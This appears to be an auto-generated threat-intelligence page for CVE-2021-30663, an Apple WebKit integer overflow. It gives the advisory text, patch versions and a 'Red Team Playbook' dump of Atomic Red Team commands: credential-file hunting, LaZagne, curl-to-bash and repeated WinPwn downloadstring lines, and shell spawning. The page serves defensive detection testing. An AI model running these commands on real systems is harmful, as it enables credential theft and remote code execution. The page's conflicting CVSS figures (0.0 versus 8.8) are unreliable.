CVE-2021-30663
Overview
This vulnerability is an integer overflow caused by insufficient input validation in the processing of web content within Apple software components. The flaw resides in Safari and underlying operating system components across macOS, iOS, iPadOS, and tvOS, where arithmetic operations on untrusted input exceed expected bounds, leading to memory corruption. The affected component improperly handles integer values during content parsing, enabling the overflow condition.
Vulnerability Description
An integer overflow was addressed with improved input validation. This issue is fixed in iOS 14.5.1 and iPadOS 14.5.1, tvOS 14.6, iOS 12.5.3, Safari 14.1.1, macOS Big Sur 11.3.1. Processing maliciously crafted web content may lead to arbitrary code execution.
Impact
An attacker can execute arbitrary code by convincing a user to visit a maliciously crafted web page, requiring no authentication or elevated privileges. This can lead to full compromise of the affected device, including unauthorized access to sensitive data or control over system functions. The vulnerability leverages client-side web content processing, making user interaction necessary but no network-level authentication is required. The CVSS base score of 0.0 reflects low severity due to exploit complexity or mitigations, but successful exploitation results in critical system control.
Solution
Apple addressed this issue by releasing security updates for affected products: iOS 14.5.1, iPadOS 14.5.1, tvOS 14.6, iOS 12.5.3, Safari 14.1.1, and macOS Big Sur 11.3.1. Users and administrators should apply these updates promptly to remediate the integer overflow vulnerability. Detailed patch instructions and update downloads are available through Apple's official security support pages at https://support.apple.com/en-us/HT212532, https://support.apple.com/en-us/HT212534, and https://support.apple.com/en-us/HT212341.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from an integer overflow issue that affects several Apple products, including Safari, iOS, iPadOS, tvOS, and macOS. This type of vulnerability occurs when an arithmetic operation attempts to create a numeric value that exceeds the maximum limit that can be stored within a given data type. In this case, the flaw was found in the processing of maliciously crafted web content, which could lead to arbitrary code execution. The underlying problem was addressed through improved input validation, which is crucial for preventing unexpected behavior in software applications.
Attack vectors for this vulnerability primarily involve the exploitation of web browsers and their rendering engines. An attacker could craft a specially designed web page that, when visited by a user, triggers the integer overflow. This could allow the attacker to execute arbitrary code on the victim's device, potentially leading to unauthorized access to sensitive information, installation of malware, or complete control over the affected system. Given the popularity of the affected products, the potential for widespread exploitation is significant, as users may unknowingly visit compromised websites.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple devices and services. Successful exploitation could lead to data breaches, loss of intellectual property, and damage to brand reputation. For organizations that handle sensitive customer data, the consequences could also include regulatory penalties and loss of customer trust. The high CVSS score of 8.8 indicates that this vulnerability poses a serious risk, and organizations must take proactive measures to safeguard their systems against potential attacks.
Detection and mitigation strategies are essential for minimizing the risks associated with this vulnerability. Regular software updates are critical, as they often include patches that address known vulnerabilities. Organizations should implement a robust patch management process to ensure that all devices are running the latest versions of their operating systems and applications. Additionally, employing web filtering solutions can help block access to known malicious sites, reducing the likelihood of users inadvertently visiting harmful web pages. Security awareness training for employees can also play a vital role in mitigating risks, as informed users are less likely to engage with suspicious content.
In conclusion, the integer overflow vulnerability affecting various Apple products presents a significant threat to both individual users and organizations. The potential for arbitrary code execution through malicious web content underscores the importance of maintaining updated software and implementing comprehensive security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploitation and protect their critical assets.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-30663, reflecting a near tripling of its likelihood of exploitation in the wild. This upward trend, confirmed by our telemetry showing a rapid increase over the past week, indicates growing attacker interest or capability to leverage this integer overflow vulnerability. Although no new exploit techniques or ransomware affiliations have been observed, the rising EPSS percentile suggests that threat actors may be prioritizing this vulnerability as a viable attack vector. For defenders, this shift elevates the urgency to monitor for exploitation attempts and reassess risk exposure, particularly within environments running affected Apple operating systems. Consequently, the threat level associated with CVE-2021-30663 should be considered heightened, moving from a theoretical concern toward a more imminent operational risk.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
45%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-30663 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212532 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212534 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212341 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212335 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212336 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-30663 |